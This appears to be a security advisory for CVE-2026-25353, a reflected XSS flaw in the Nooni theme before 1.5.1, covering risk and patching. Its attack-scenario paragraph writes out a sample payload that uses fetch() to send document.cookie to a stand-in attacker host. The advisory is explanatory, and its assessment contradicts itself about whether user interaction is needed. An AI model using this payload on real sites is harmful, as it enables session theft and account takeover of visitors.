Nooni CVE-2026-25353

Reflected XSS vulnerability in skygroup Nooni versions before 1.5.1. Attacker crafts malicious URL containing unescaped input. Victim must click the link or visit the page in a web browser. Remote unauthenticated exploitation; no special configuration required.

While a CVSS score is not available for this vulnerability, the attack vector is clearly Network-based and likely has Low attack complexity given the reflected nature of the XSS—no authentication or user interaction complexity is indicated. The EUVD classification and Patchstack reporting indicate this is a confirmed, real vulnerability. Without CVSS or EPSS data, the real-world risk is moderate but should not be underestimated: Reflected XSS vulnerabilities are trivially exploitable and frequently automated by scanning tools. The vulnerability is not listed as actively exploited in known vulnerability databases (KEV status unknown), but this does not diminish the risk for unpatched installations. The primary mitigating factor is that exploitation requires user interaction (victim must click a malicious link), but the technical impact is significant—attackers can steal session cookies, perform actions as the victim, or redirect users to phishing pages. Organizations using Nooni versions below 1.5.1 should prioritize patching this vulnerability immediately.

An attacker crafts a malicious URL containing a JavaScript payload in a query parameter, for example: https://vulnerable-site.com/?search=<script>fetch('http://attacker.com/steal?cookie='+document.cookie)</script>. The attacker sends this link via email, social engineering, or injects it into forum posts. When a site visitor clicks the link, the Nooni theme renders the page without properly escaping the search parameter, causing the JavaScript to execute in the victim's browser context. The attacker's script silently exfiltrates the victim's session cookies or other sensitive data, enabling account takeover. No proof-of-concept tool is required—this attack pattern is standard among web vulnerabilities and can be launched manually or via automated security scanning tools.